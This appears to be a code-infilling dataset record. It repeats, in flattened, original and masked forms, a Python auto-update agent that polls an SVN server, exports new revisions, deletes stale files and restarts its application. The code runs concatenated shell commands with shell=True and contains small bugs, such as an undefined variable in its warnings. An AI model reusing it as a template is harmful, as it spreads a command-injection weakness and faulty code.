logging.getLogger(self.logPath + '.localRevisionRecord') localLog.debug('Getting local revision record...') revisionRecordPath = self.localRevisionRecordPath localLog.debug('Attemption to get record from file...') try: with open(revisionRecordPath, 'r') as f: localRecord = f.read() localLog.debug('Local revision record: ' + str(localRecord)) except Exception as e: self.log.warning('Failed to open file! - ' + str(e)) self.localRevisionRecord = 0 localRecord = self.localRevisionRecord return localRecord @localRevisionRecord.setter def localRevisionRecord(self, newRevision): """ Set local revision record (.gcm) """ localLog = logging.getLogger(self.logPath + '.localRevisionRecord') localLog.debug('Setting local revision record (.gcm) to ' + str( newRevision) + '...') revisionRecordPath = self.localRevisionRecordPath localLog.debug('Attemption to write "' + str(newRevision) + '" to file...') with open(revisionRecordPath, 'w') as f: f.write(str(newRevision)) self.log.info('Local revision record set: ' + str(newRevision)) def getSoftwareInfo(self, rev='HEAD'): """ Retrieve information about a revision available on server. """ localLog = logging.getLogger(self.logPath + '.getSoftwareInfo') localLog.debug('Attempting to retrieve software revision info...') if 'guaSWSource' in GregerDatabase.settings: guaSWServerURI = GregerDatabase.settings['guaSWSource']['value'] else: self.log.warning('Setting ' + str(guaSWSource) + ' not defined!') return moduleReturn = {'revision': '', 'revision_SHA': '', 'revision_author': '', 'revision_date': '', 'revision_comment': ''} localLog.debug('Attempting to retrieve info from server... ' + guaSWServerURI) pCmd = 'svn proplist -v -R --revprop -r ' + rev pCmd += ' ' + guaSWServerURI localLog.debug(pCmd) try: p = subprocess.Popen(pCmd, stdout=subprocess.PIPE, shell=True) output, err = p.communicate() outputList = output.splitlines()[1:] outputList = [elem.strip() for elem in outputList] revStr = output.splitlines()[0] revStr = revStr.split()[-1] moduleReturn['revision'] = revStr[:-1] localLog.debug('Revision: ' + revStr[:-1]) shaStr = outputList[outputList.index('git-commit') + 1] moduleReturn['revision_SHA'] = shaStr localLog.debug('Revision SHA: ' + shaStr) authorStr = outputList[outputList.index('svn:author') + 1] moduleReturn['revision_author'] = authorStr localLog.debug('Revision author: ' + authorStr) dateStr = outputList[outputList.index('svn:date') + 1] moduleReturn['revision_date'] = dateStr localLog.debug('Revision date: ' + dateStr) commentStr = outputList[outputList.index('svn:log') + 1].strip() moduleReturn['revision_comment'] = commentStr localLog.debug('Revision Comment: ' + commentStr) if err is not None: localLog.debug('Error message: ' + str(err)) except Exception as e: self.log.error('Oops! Something went wrong - ' + str(e)) return moduleReturn def updateSoftware(self, swRev='HEAD'): """ Get and updating software from server """ localLog = logging.getLogger(self.logPath + '.updateSoftware') localLog.debug('Getting software revision ' + str(swRev) + ' from server and updating local client...') localLog.debug('Constructing target path for new software...') targetRoot = self._location targetDir = 'gcm' targetPath = os.path.join(targetRoot, targetDir) localLog.debug('Target path: ' + targetPath) localLog.debug('Retrieving relevant parameters from server...') if 'guaSWSource' in GregerDatabase.settings: guaSWServerURI = GregerDatabase.settings['guaSWSource']['value'] localLog.debug('Parameter: (guaSWSource) ' + guaSWServerURI) else: self.log.warning('Setting ' + str(guaSWSource) + ' not defined!') return localLog.debug('Getting software files from server...') pCmd = 'svn export --force -r ' + str(swRev) pCmd += ' ' + guaSWServerURI pCmd += ' ' + targetPath localLog.debug(pCmd) try: p = subprocess.Popen(pCmd, stdout=subprocess.PIPE, shell=True) output, err = p.communicate() if err is not None: self.log.warning('Error message: ' + str(err)) else: self.log.info('Download successful!') for line in output.splitlines(): self.log.info(line) except Exception as e: self.log.error('Oops! Something went wrong - ' + str(e)) localLog.debug('Reading downloaded revision from "' + output. splitlines()[-1] + '"...') revText = output.splitlines()[-1].split()[-1][:-1] localLog.debug('Downloaded Revision: ' + revText) self.localRevisionRecord = revText localLog.debug('Listing downloaded files...') downloadedFiles = [] for row in output.splitlines()[:-1]: file = os.path.join(targetRoot, [t.strip() for t in row.split()][1] ) downloadedFiles.append(file) localLog.debug('File: ' + file) self.log.debug('Getting all files in local directory (after update)...' ) allFiles = [] for r, d, f in os.walk(targetPath): for file in f: allFiles.append(os.path.join(r, file)) localLog.debug('File: ' + allFiles[-1]) for dir in d: allFiles.append(os.path.join(r, dir)) localLog.debug('Dir: ' + allFiles[-1]) self.log.info( 'Identifying old files to remove (<new_files> - <all_files>)...') diffFiles = list(set(allFiles) - set(downloadedFiles)) for file in diffFiles: self.log.info('Removing: ' + file) try: if os.path.isfile(file): os.unlink(file) elif os.path.isdir(file): shutil.rmtree(file) except Exception as e: self.log.warning('Oops! Something went wrong! - ' + str(e)) self.log.debug('Re-getting all files in local directory...') allFiles = [] for r, d, f in os.walk(targetPath): for file in f: allFiles.append(os.path.join(r, file)) self.log.debug('File: ' + os.path.join(r, file)) for dir in d: allFiles.append(os.path.join(r, dir)) self.log.debug('Dir: ' + os.path.join(r, file)) def run(self): """ Run Greger Update Agent. """ localLog = logging.getLogger(self.logPath + '.run') self.log.info('Starting Greger Update Agent (GUA)...') localLog.debug('Wait for Greger Client Module to start...') self.ready.wait() allThreads = {} for thr in enumerate(): localLog.debug(thr.name + ' ' + thr.__class__.__name__ + ' active!' ) allThreads.update({thr.__class__.__name__: thr}) if thr.__class__.__name__ == 'GregerClientModule': localLog.debug('Greger Client Module thread found! ' + allThreads['GregerClientModule'].name) loopCount = 0 while not self.stopExecution.is_set(): loopCount += 1 localLog.debug('Checking for updates (' + str(loopCount) + ')...') localLog.debug('Getting local revision record...') localRevision = self.localRevisionRecord localLog.debug('Getting latest software info...') softwareInfo = self.getSoftwareInfo() self.log.info('Revision check done! (' + str(localRevision) + ')') if int(localRevision) == int(softwareInfo['revision']): self.log.info('No new revision found.') else: self.log.info('New revision found!') localLog.debug('Attempting to update software...') self.updateSoftware() localLog.debug( 'Attempting to update server with software info...') allThreads['GregerDatabase'].update('about', softwareInfo) self.log.info( 'Attempting to stop all exection before restarting...') allThreads['GregerClientModule'].stopAll(GUA=True) self.log.info('Attemption to restart application...') restart_program() if 'guaCheckUpdateDelay' in GregerDatabase.settings: delayTime = GregerDatabase.settings['guaCheckUpdateDelay'][ 'value'] else: delayTime = 10 self.log.warning('Settings not defined! (using default=10)') self.log.info('Waiting ' + str(delayTime) + 's...') self.stopExecution.wait(delayTime) self.log.info('Greger Update Agent (GUA) execution stopped!') <|reserved_special_token_1|> <|reserved_special_token_0|> class GregerUpdateAgent(Thread): """ Main class which holds the main sequence of the application. """ def __init__(self, ready=None): """ Initialize the main class """ Thread.__init__(self) self.ready = ready self.logPath = 'root.GUA' self.log = logging.getLogger(self.logPath) localLog = logging.getLogger(self.logPath + '.__init__') localLog.debug('Initiating Greger Update Agent (GUA)...') self.stopExecution = Event() self._location = os.path.abspath(__file__) self._location = self._location[:-15] localLog.debug('Local path: ' + self._location) localLog.debug('Getting configuration parameters from file...') config = getLocalConfig() self.localRevisionRecordPath = config.get('greger_update_agent', 'local_revision_path') localLog.debug('Parameter: (localRevisionRecordPath) ' + self. localRevisionRecordPath) self.log.info('Greger Update Agent (GUA) successfully initiated!') @property def localRevisionRecord(self): """ Get local revision record (.gcm) """ localLog = logging.getLogger(self.logPath + '.localRevisionRecord') localLog.debug('Getting local revision record...') revisionRecordPath = self.localRevisionRecordPath localLog.debug('Attemption to get record from file...') try: with open(revisionRecordPath, 'r') as f: localRecord = f.read() localLog.debug('Local revision record: ' + str(localRecord)) except Exception as e: self.log.warning('Failed to open file! - ' + str(e)) self.localRevisionRecord = 0 localRecord = self.localRevisionRecord return localRecord @localRevisionRecord.setter def localRevisionRecord(self, newRevision): """ Set local revision record (.gcm) """ localLog = logging.getLogger(self.logPath + '.localRevisionRecord') localLog.debug('Setting local revision record (.gcm) to ' + str( newRevision) + '...') revisionRecordPath = self.localRevisionRecordPath localLog.debug('Attemption to write "' + str(newRevision) + '" to file...') with open(revisionRecordPath, 'w') as f: f.write(str(newRevision)) self.log.info('Local revision record set: ' + str(newRevision)) def getSoftwareInfo(self, rev='HEAD'): """ Retrieve information about a revision available on server. """ localLog = logging.getLogger(self.logPath + '.getSoftwareInfo') localLog.debug('Attempting to retrieve software revision info...') if 'guaSWSource' in GregerDatabase.settings: guaSWServerURI = GregerDatabase.settings['guaSWSource']['value'] else: self.log.warning('Setting ' + str(guaSWSource) + ' not defined!') return moduleReturn = {'revision': '', 'revision_SHA': '', 'revision_author': '', 'revision_date': '', 'revision_comment': ''} localLog.debug('Attempting to retrieve info from server... ' + guaSWServerURI) pCmd = 'svn proplist -v -R --revprop -r ' + rev pCmd += ' ' + guaSWServerURI localLog.debug(pCmd) try: p = subprocess.Popen(pCmd, stdout=subprocess.PIPE, shell=True) output, err = p.communicate() outputList = output.splitlines()[1:] outputList = [elem.strip() for elem in outputList] revStr = output.splitlines()[0] revStr = revStr.split()[-1] moduleReturn['revision'] = revStr[:-1] localLog.debug('Revision: ' + revStr[:-1]) shaStr = outputList[outputList.index('git-commit') + 1] moduleReturn['revision_SHA'] = shaStr localLog.debug('Revision SHA: ' + shaStr) authorStr = outputList[outputList.index('svn:author') + 1] moduleReturn['revision_author'] = authorStr localLog.debug('Revision author: ' + authorStr) dateStr = outputList[outputList.index('svn:date') + 1] moduleReturn['revision_date'] = dateStr localLog.debug('Revision date: ' + dateStr) commentStr = outputList[outputList.index('svn:log') + 1].strip() moduleReturn['revision_comment'] = commentStr localLog.debug('Revision Comment: ' + commentStr) if err is not None: localLog.debug('Error message: ' + str(err)) except Exception as e: self.log.error('Oops! Something went wrong - ' + str(e)) return moduleReturn def updateSoftware(self, swRev='HEAD'): """ Get and updating software from server """ localLog = logging.getLogger(self.logPath + '.updateSoftware') localLog.debug('Getting software revision ' + str(swRev) + ' from server and updating local client...') localLog.debug('Constructing target path for new software...') targetRoot = self._location targetDir = 'gcm' targetPath = os.path.join(targetRoot, targetDir) localLog.debug('Target path: ' + targetPath) localLog.debug('Retrieving relevant parameters from server...') if 'guaSWSource' in GregerDatabase.settings: guaSWServerURI = GregerDatabase.settings['guaSWSource']['value'] localLog.debug('Parameter: (guaSWSource) ' + guaSWServerURI) else: self.log.warning('Setting ' + str(guaSWSource) + ' not defined!') return localLog.debug('Getting software files from server...') pCmd = 'svn export --force -r ' + str(swRev) pCmd += ' ' + guaSWServerURI pCmd += ' ' + targetPath localLog.debug(pCmd) try: p = subprocess.Popen(pCmd, stdout=subprocess.PIPE, shell=True) output, err = p.communicate() if err is not None: self.log.warning('Error message: ' + str(err)) else: self.log.info('Download successful!') for line in output.splitlines(): self.log.info(line) except Exception as e: self.log.error('Oops! Something went wrong - ' + str(e)) localLog.debug('Reading downloaded revision from "' + output. splitlines()[-1] + '"...') revText = output.splitlines()[-1].split()[-1][:-1] localLog.debug('Downloaded Revision: ' + revText) self.localRevisionRecord = revText localLog.debug('Listing downloaded files...') downloadedFiles = [] for row in output.splitlines()[:-1]: file = os.path.join(targetRoot, [t.strip() for t in row.split()][1] ) downloadedFiles.append(file) localLog.debug('File: ' + file) self.log.debug('Getting all files in local directory (after update)...' ) allFiles = [] for r, d, f in os.walk(targetPath): for file in f: allFiles.append(os.path.join(r, file)) localLog.debug('File: ' + allFiles[-1]) for dir in d: allFiles.append(os.path.join(r, dir)) localLog.debug('Dir: ' + allFiles[-1]) self.log.info( 'Identifying old files to remove (<new_files> - <all_files>)...') diffFiles = list(set(allFiles) - set(downloadedFiles)) for file in diffFiles: self.log.info('Removing: ' + file) try: if os.path.isfile(file): os.unlink(file) elif os.path.isdir(file): shutil.rmtree(file) except Exception as e: self.log.warning('Oops! Something went wrong! - ' + str(e)) self.log.debug('Re-getting all files in local directory...') allFiles = [] for r, d, f in os.walk(targetPath): for file in f: allFiles.append(os.path.join(r, file)) self.log.debug('File: ' + os.path.join(r, file)) for dir in d: allFiles.append(os.path.join(r, dir)) self.log.debug('Dir: ' + os.path.join(r, file)) def run(self): """ Run Greger Update Agent. """ localLog = logging.getLogger(self.logPath + '.run') self.log.info('Starting Greger Update Agent (GUA)...') localLog.debug('Wait for Greger Client Module to start...') self.ready.wait() allThreads = {} for thr in enumerate(): localLog.debug(thr.name + ' ' + thr.__class__.__name__ + ' active!' ) allThreads.update({thr.__class__.__name__: thr}) if thr.__class__.__name__ == 'GregerClientModule': localLog.debug('Greger Client Module thread found! ' + allThreads['GregerClientModule'].name) loopCount = 0 while not self.stopExecution.is_set(): loopCount += 1 localLog.debug('Checking for updates (' + str(loopCount) + ')...') localLog.debug('Getting local revision record...') localRevision = self.localRevisionRecord localLog.debug('Getting latest software info...') softwareInfo = self.getSoftwareInfo() self.log.info('Revision check done! (' + str(localRevision) + ')') if int(localRevision) == int(softwareInfo['revision']): self.log.info('No new revision found.') else: self.log.info('New revision found!') localLog.debug('Attempting to update software...') self.updateSoftware() localLog.debug( 'Attempting to update server with software info...') allThreads['GregerDatabase'].update('about', softwareInfo) self.log.info( 'Attempting to stop all exection before restarting...') allThreads['GregerClientModule'].stopAll(GUA=True) self.log.info('Attemption to restart application...') restart_program() if 'guaCheckUpdateDelay' in GregerDatabase.settings: delayTime = GregerDatabase.settings['guaCheckUpdateDelay'][ 'value'] else: delayTime = 10 self.log.warning('Settings not defined! (using default=10)') self.log.info('Waiting ' + str(delayTime) + 's...') self.stopExecution.wait(delayTime) self.log.info('Greger Update Agent (GUA) execution stopped!') <|reserved_special_token_1|> #!/usr/bin/env python # -*- coding: utf-8 -*- """ Greger Update Agent (GUA) module for the Greger Client Module """ __author__ = "Eric Sandbling" __license__ = 'MIT' __status__ = 'Development' # System modules import os, sys import shutil import logging import subprocess from threading import Event from threading import Thread from threading import enumerate # Local Modules from common import getLocalConfig from common import restart_program from gdb import GregerDatabase # from gcm import GregerClientModule class GregerUpdateAgent(Thread): """ Main class which holds the main sequence of the application. """ def __init__(self, ready=None): ''' Initialize the main class ''' Thread.__init__(self) self.ready = ready # Setup logging self.logPath = "root.GUA" self.log = logging.getLogger(self.logPath) localLog = logging.getLogger(self.logPath + ".__init__") localLog.debug("Initiating Greger Update Agent (GUA)...") # Stop execution handler self.stopExecution = Event() # Get local path self._location = os.path.abspath(__file__) self._location = self._location[:-15] # Trim gcm/__main__.py from path to get at location of application localLog.debug("Local path: " + self._location) # Get Local Configuration Parameters localLog.debug("Getting configuration parameters from file...") config = getLocalConfig() # Locally relevant parameters self.localRevisionRecordPath = config.get("greger_update_agent", "local_revision_path") localLog.debug("Parameter: (localRevisionRecordPath) " + self.localRevisionRecordPath) self.log.info("Greger Update Agent (GUA) successfully initiated!") @property def localRevisionRecord(self): ''' Get local revision record (.gcm) ''' # Logging localLog = logging.getLogger(self.logPath + ".localRevisionRecord") localLog.debug("Getting local revision record...") # Local parameters # revisionRecordPath = os.path.join(self._location, ".gcm") revisionRecordPath = self.localRevisionRecordPath localLog.debug("Attemption to get record from file...") try: with open(revisionRecordPath,"r") as f: localRecord = f.read() localLog.debug("Local revision record: " + str(localRecord)) except Exception as e: self.log.warning("Failed to open file! - " + str(e)) self.localRevisionRecord = 0 localRecord = self.localRevisionRecord return localRecord @localRevisionRecord.setter def localRevisionRecord(self, newRevision): ''' Set local revision record (.gcm) ''' # Logging localLog = logging.getLogger(self.logPath + ".localRevisionRecord") localLog.debug("Setting local revision record (.gcm) to " + str(newRevision) + "...") # Local parameters # revisionRecordPath = os.path.join(self._location, ".gcm") revisionRecordPath = self.localRevisionRecordPath localLog.debug("Attemption to write \"" + str(newRevision) + "\" to file...") with open(revisionRecordPath,"w") as f: f.write(str(newRevision)) self.log.info("Local revision record set: " + str(newRevision)) def getSoftwareInfo(self, rev='HEAD'): ''' Retrieve information about a revision available on server. ''' # Logging localLog = logging.getLogger(self.logPath + ".getSoftwareInfo") localLog.debug("Attempting to retrieve software revision info...") # Locally relevant parameters if 'guaSWSource' in GregerDatabase.settings: guaSWServerURI = GregerDatabase.settings['guaSWSource']['value'] else: self.log.warning("Setting " + str(guaSWSource) + " not defined!") return moduleReturn = { 'revision': "", 'revision_SHA' : "", 'revision_author' : "", 'revision_date' : "", 'revision_comment' : "" } # Get server revision info localLog.debug("Attempting to retrieve info from server... " + guaSWServerURI) pCmd = "svn proplist -v -R --revprop -r " + rev pCmd += " " + guaSWServerURI localLog.debug(pCmd) try: p = subprocess.Popen(pCmd, stdout=subprocess.PIPE, shell=True) (output, err) = p.communicate() # Create list of output and remove extra white spaces outputList = output.splitlines()[1:] outputList = [elem.strip() for elem in outputList] # Get revision from output revStr = output.splitlines()[0] revStr = revStr.split()[-1] moduleReturn['revision'] = revStr[:-1] localLog.debug("Revision: " + revStr[:-1]) # Get SHA shaStr = outputList[outputList.index('git-commit')+1] moduleReturn['revision_SHA'] = shaStr localLog.debug("Revision SHA: " + shaStr) # Get revision author authorStr = outputList[outputList.index('svn:author')+1] moduleReturn['revision_author'] = authorStr localLog.debug("Revision author: " + authorStr) # Get revision date dateStr = outputList[outputList.index('svn:date')+1] moduleReturn['revision_date'] = dateStr localLog.debug("Revision date: " + dateStr) # Get revision comment commentStr = outputList[outputList.index('svn:log')+1].strip() moduleReturn['revision_comment'] = commentStr localLog.debug("Revision Comment: " + commentStr) if err is not None: localLog.debug("Error message: " + str(err)) except Exception as e: self.log.error("Oops! Something went wrong - " + str(e)) return moduleReturn def updateSoftware(self, swRev='HEAD'): ''' Get and updating software from server ''' # Logging localLog = logging.getLogger(self.logPath + ".updateSoftware") localLog.debug("Getting software revision " + str(swRev) + " from server and updating local client...") # Locally relevant parameters localLog.debug("Constructing target path for new software...") targetRoot = self._location targetDir = "gcm" targetPath = os.path.join(targetRoot, targetDir) localLog.debug("Target path: " + targetPath) localLog.debug("Retrieving relevant parameters from server...") if 'guaSWSource' in GregerDatabase.settings: guaSWServerURI = GregerDatabase.settings['guaSWSource']['value'] localLog.debug("Parameter: (guaSWSource) " + guaSWServerURI) else: self.log.warning("Setting " + str(guaSWSource) + " not defined!") return # Get software files from server localLog.debug("Getting software files from server...") # Compile download command pCmd = "svn export --force -r " + str(swRev) pCmd += " " + guaSWServerURI pCmd += " " + targetPath localLog.debug(pCmd) # Execute command try: p = subprocess.Popen(pCmd, stdout=subprocess.PIPE, shell=True) (output, err) = p.communicate() if err is not None: self.log.warning("Error message: " + str(err)) else: self.log.info("Download successful!") # Print output for line in output.splitlines(): self.log.info(line) except Exception as e: self.log.error("Oops! Something went wrong - " + str(e)) # Read revision text localLog.debug("Reading downloaded revision from \"" + output.splitlines()[-1] + "\"...") revText = output.splitlines()[-1].split()[-1][:-1] localLog.debug("Downloaded Revision: " + revText) # Update local revision record self.localRevisionRecord = revText # Get downloaded files text localLog.debug("Listing downloaded files...") downloadedFiles = [] for row in output.splitlines()[:-1]: file = os.path.join(targetRoot, [t.strip() for t in row.split()][1]) downloadedFiles.append(file) localLog.debug("File: " + file) # List files in directory self.log.debug("Getting all files in local directory (after update)...") allFiles = [] # r=root, d=directories, f = files for r, d, f in os.walk(targetPath): for file in f: # allFiles.append(os.path.abspath(file)) allFiles.append(os.path.join(r, file)) localLog.debug("File: " + allFiles[-1]) # localLog.debug("File: " + os.path.join(r, file)) for dir in d: # allFiles.append(os.path.abspath(dir)) allFiles.append(os.path.join(r, dir)) localLog.debug("Dir: " + allFiles[-1]) # localLog.debug("Dir: " + os.path.join(r, dir)) self.log.info("Identifying old files to remove (<new_files> - <all_files>)...") diffFiles = list(set(allFiles) - set(downloadedFiles)) for file in diffFiles: self.log.info("Removing: " + file) try: if os.path.isfile(file): os.unlink(file) elif os.path.isdir(file): shutil.rmtree(file) except Exception as e: self.log.warning("Oops! Something went wrong! - " + str(e)) # List files in directory self.log.debug("Re-getting all files in local directory...") allFiles = [] # r=root, d=directories, f = files for r, d, f in os.walk(targetPath): for file in f: allFiles.append(os.path.join(r, file)) self.log.debug("File: " + os.path.join(r, file)) for dir in d: allFiles.append(os.path.join(r, dir)) self.log.debug("Dir: " + os.path.join(r, file)) def run(self): ''' Run Greger Update Agent. ''' # Logging localLog = logging.getLogger(self.logPath + ".run") self.log.info("Starting Greger Update Agent (GUA)...") # Wait for Greger Client Module to start... localLog.debug("Wait for Greger Client Module to start...") self.ready.wait() # Get all active threads! allThreads = {} for thr in enumerate(): localLog.debug(thr.name + " " + thr.__class__.__name__ +" active!") allThreads.update({thr.__class__.__name__ : thr}) if thr.__class__.__name__ == "GregerClientModule": localLog.debug("Greger Client Module thread found! " + allThreads['GregerClientModule'].name) # Start checking for updates loopCount = 0 while not self.stopExecution.is_set(): loopCount += 1 localLog.debug("Checking for updates (" + str(loopCount) + ")...") # Get local revision record localLog.debug("Getting local revision record...") localRevision = self.localRevisionRecord # Get server revision... localLog.debug("Getting latest software info...") softwareInfo = self.getSoftwareInfo() self.log.info("Revision check done! (" + str(localRevision) + ")") if int(localRevision) == int(softwareInfo['revision']): self.log.info("No new revision found.") else: self.log.info("New revision found!") # Do update!! localLog.debug("Attempting to update software...") self.updateSoftware() # Update server with updated software localLog.debug("Attempting to update server with software info...") allThreads['GregerDatabase'].update('about', softwareInfo) # Tell GCM to stop all treads (except GUA)... self.log.info("Attempting to stop all exection before restarting...") allThreads['GregerClientModule'].stopAll(GUA=True) # Restart Application self.log.info("Attemption to restart application...") restart_program() if 'guaCheckUpdateDelay' in GregerDatabase.settings: delayTime = GregerDatabase.settings['guaCheckUpdateDelay']['value'] else: delayTime = 10 self.log.warning("Settings not defined! (using default=10)") # Wait update delay self.log.info("Waiting " + str(delayTime) + "s...") self.stopExecution.wait(delayTime) self.log.info("Greger Update Agent (GUA) execution stopped!")

flexible

{ "blob_id": "a9b2a4d4924dcdd6e146ea346e71bf42c0259846", "index": 593, "step-1": "<mask token>\n\n\nclass GregerUpdateAgent(Thread):\n <mask token>\n <mask token>\n\n @property\n def localRevisionRecord(self):\n \"\"\"\n Get local revision record (.gcm)\n \"\"\"\n localLog = logging.getLogger(self.logPath + '.localRevisionRecord')\n localLog.debug('Getting local revision record...')\n revisionRecordPath = self.localRevisionRecordPath\n localLog.debug('Attemption to get record from file...')\n try:\n with open(revisionRecordPath, 'r') as f:\n localRecord = f.read()\n localLog.debug('Local revision record: ' + str(localRecord))\n except Exception as e:\n self.log.warning('Failed to open file! - ' + str(e))\n self.localRevisionRecord = 0\n localRecord = self.localRevisionRecord\n return localRecord\n <mask token>\n\n def getSoftwareInfo(self, rev='HEAD'):\n \"\"\"\n Retrieve information about a revision available on server.\n \"\"\"\n localLog = logging.getLogger(self.logPath + '.getSoftwareInfo')\n localLog.debug('Attempting to retrieve software revision info...')\n if 'guaSWSource' in GregerDatabase.settings:\n guaSWServerURI = GregerDatabase.settings['guaSWSource']['value']\n else:\n self.log.warning('Setting ' + str(guaSWSource) + ' not defined!')\n return\n moduleReturn = {'revision': '', 'revision_SHA': '',\n 'revision_author': '', 'revision_date': '', 'revision_comment': ''}\n localLog.debug('Attempting to retrieve info from server... ' +\n guaSWServerURI)\n pCmd = 'svn proplist -v -R --revprop -r ' + rev\n pCmd += ' ' + guaSWServerURI\n localLog.debug(pCmd)\n try:\n p = subprocess.Popen(pCmd, stdout=subprocess.PIPE, shell=True)\n output, err = p.communicate()\n outputList = output.splitlines()[1:]\n outputList = [elem.strip() for elem in outputList]\n revStr = output.splitlines()[0]\n revStr = revStr.split()[-1]\n moduleReturn['revision'] = revStr[:-1]\n localLog.debug('Revision: ' + revStr[:-1])\n shaStr = outputList[outputList.index('git-commit') + 1]\n moduleReturn['revision_SHA'] = shaStr\n localLog.debug('Revision SHA: ' + shaStr)\n authorStr = outputList[outputList.index('svn:author') + 1]\n moduleReturn['revision_author'] = authorStr\n localLog.debug('Revision author: ' + authorStr)\n dateStr = outputList[outputList.index('svn:date') + 1]\n moduleReturn['revision_date'] = dateStr\n localLog.debug('Revision date: ' + dateStr)\n commentStr = outputList[outputList.index('svn:log') + 1].strip()\n moduleReturn['revision_comment'] = commentStr\n localLog.debug('Revision Comment: ' + commentStr)\n if err is not None:\n localLog.debug('Error message: ' + str(err))\n except Exception as e:\n self.log.error('Oops! Something went wrong - ' + str(e))\n return moduleReturn\n\n def updateSoftware(self, swRev='HEAD'):\n \"\"\"\n Get and updating software from server\n \"\"\"\n localLog = logging.getLogger(self.logPath + '.updateSoftware')\n localLog.debug('Getting software revision ' + str(swRev) +\n ' from server and updating local client...')\n localLog.debug('Constructing target path for new software...')\n targetRoot = self._location\n targetDir = 'gcm'\n targetPath = os.path.join(targetRoot, targetDir)\n localLog.debug('Target path: ' + targetPath)\n localLog.debug('Retrieving relevant parameters from server...')\n if 'guaSWSource' in GregerDatabase.settings:\n guaSWServerURI = GregerDatabase.settings['guaSWSource']['value']\n localLog.debug('Parameter: (guaSWSource) ' + guaSWServerURI)\n else:\n self.log.warning('Setting ' + str(guaSWSource) + ' not defined!')\n return\n localLog.debug('Getting software files from server...')\n pCmd = 'svn export --force -r ' + str(swRev)\n pCmd += ' ' + guaSWServerURI\n pCmd += ' ' + targetPath\n localLog.debug(pCmd)\n try:\n p = subprocess.Popen(pCmd, stdout=subprocess.PIPE, shell=True)\n output, err = p.communicate()\n if err is not None:\n self.log.warning('Error message: ' + str(err))\n else:\n self.log.info('Download successful!')\n for line in output.splitlines():\n self.log.info(line)\n except Exception as e:\n self.log.error('Oops! Something went wrong - ' + str(e))\n localLog.debug('Reading downloaded revision from \"' + output.\n splitlines()[-1] + '\"...')\n revText = output.splitlines()[-1].split()[-1][:-1]\n localLog.debug('Downloaded Revision: ' + revText)\n self.localRevisionRecord = revText\n localLog.debug('Listing downloaded files...')\n downloadedFiles = []\n for row in output.splitlines()[:-1]:\n file = os.path.join(targetRoot, [t.strip() for t in row.split()][1]\n )\n downloadedFiles.append(file)\n localLog.debug('File: ' + file)\n self.log.debug('Getting all files in local directory (after update)...'\n )\n allFiles = []\n for r, d, f in os.walk(targetPath):\n for file in f:\n allFiles.append(os.path.join(r, file))\n localLog.debug('File: ' + allFiles[-1])\n for dir in d:\n allFiles.append(os.path.join(r, dir))\n localLog.debug('Dir: ' + allFiles[-1])\n self.log.info(\n 'Identifying old files to remove (<new_files> - <all_files>)...')\n diffFiles = list(set(allFiles) - set(downloadedFiles))\n for file in diffFiles:\n self.log.info('Removing: ' + file)\n try:\n if os.path.isfile(file):\n os.unlink(file)\n elif os.path.isdir(file):\n shutil.rmtree(file)\n except Exception as e:\n self.log.warning('Oops! Something went wrong! - ' + str(e))\n self.log.debug('Re-getting all files in local directory...')\n allFiles = []\n for r, d, f in os.walk(targetPath):\n for file in f:\n allFiles.append(os.path.join(r, file))\n self.log.debug('File: ' + os.path.join(r, file))\n for dir in d:\n allFiles.append(os.path.join(r, dir))\n self.log.debug('Dir: ' + os.path.join(r, file))\n\n def run(self):\n \"\"\"\n Run Greger Update Agent.\n \"\"\"\n localLog = logging.getLogger(self.logPath + '.run')\n self.log.info('Starting Greger Update Agent (GUA)...')\n localLog.debug('Wait for Greger Client Module to start...')\n self.ready.wait()\n allThreads = {}\n for thr in enumerate():\n localLog.debug(thr.name + ' ' + thr.__class__.__name__ + ' active!'\n )\n allThreads.update({thr.__class__.__name__: thr})\n if thr.__class__.__name__ == 'GregerClientModule':\n localLog.debug('Greger Client Module thread found! ' +\n allThreads['GregerClientModule'].name)\n loopCount = 0\n while not self.stopExecution.is_set():\n loopCount += 1\n localLog.debug('Checking for updates (' + str(loopCount) + ')...')\n localLog.debug('Getting local revision record...')\n localRevision = self.localRevisionRecord\n localLog.debug('Getting latest software info...')\n softwareInfo = self.getSoftwareInfo()\n self.log.info('Revision check done! (' + str(localRevision) + ')')\n if int(localRevision) == int(softwareInfo['revision']):\n self.log.info('No new revision found.')\n else:\n self.log.info('New revision found!')\n localLog.debug('Attempting to update software...')\n self.updateSoftware()\n localLog.debug(\n 'Attempting to update server with software info...')\n allThreads['GregerDatabase'].update('about', softwareInfo)\n self.log.info(\n 'Attempting to stop all exection before restarting...')\n allThreads['GregerClientModule'].stopAll(GUA=True)\n self.log.info('Attemption to restart application...')\n restart_program()\n if 'guaCheckUpdateDelay' in GregerDatabase.settings:\n delayTime = GregerDatabase.settings['guaCheckUpdateDelay'][\n 'value']\n else:\n delayTime = 10\n self.log.warning('Settings not defined! (using default=10)')\n self.log.info('Waiting ' + str(delayTime) + 's...')\n self.stopExecution.wait(delayTime)\n self.log.info('Greger Update Agent (GUA) execution stopped!')\n", "step-2": "<mask token>\n\n\nclass GregerUpdateAgent(Thread):\n <mask token>\n <mask token>\n\n @property\n def localRevisionRecord(self):\n \"\"\"\n Get local revision record (.gcm)\n \"\"\"\n localLog = logging.getLogger(self.logPath + '.localRevisionRecord')\n localLog.debug('Getting local revision record...')\n revisionRecordPath = self.localRevisionRecordPath\n localLog.debug('Attemption to get record from file...')\n try:\n with open(revisionRecordPath, 'r') as f:\n localRecord = f.read()\n localLog.debug('Local revision record: ' + str(localRecord))\n except Exception as e:\n self.log.warning('Failed to open file! - ' + str(e))\n self.localRevisionRecord = 0\n localRecord = self.localRevisionRecord\n return localRecord\n\n @localRevisionRecord.setter\n def localRevisionRecord(self, newRevision):\n \"\"\"\n Set local revision record (.gcm)\n \"\"\"\n localLog = logging.getLogger(self.logPath + '.localRevisionRecord')\n localLog.debug('Setting local revision record (.gcm) to ' + str(\n newRevision) + '...')\n revisionRecordPath = self.localRevisionRecordPath\n localLog.debug('Attemption to write \"' + str(newRevision) +\n '\" to file...')\n with open(revisionRecordPath, 'w') as f:\n f.write(str(newRevision))\n self.log.info('Local revision record set: ' + str(newRevision))\n\n def getSoftwareInfo(self, rev='HEAD'):\n \"\"\"\n Retrieve information about a revision available on server.\n \"\"\"\n localLog = logging.getLogger(self.logPath + '.getSoftwareInfo')\n localLog.debug('Attempting to retrieve software revision info...')\n if 'guaSWSource' in GregerDatabase.settings:\n guaSWServerURI = GregerDatabase.settings['guaSWSource']['value']\n else:\n self.log.warning('Setting ' + str(guaSWSource) + ' not defined!')\n return\n moduleReturn = {'revision': '', 'revision_SHA': '',\n 'revision_author': '', 'revision_date': '', 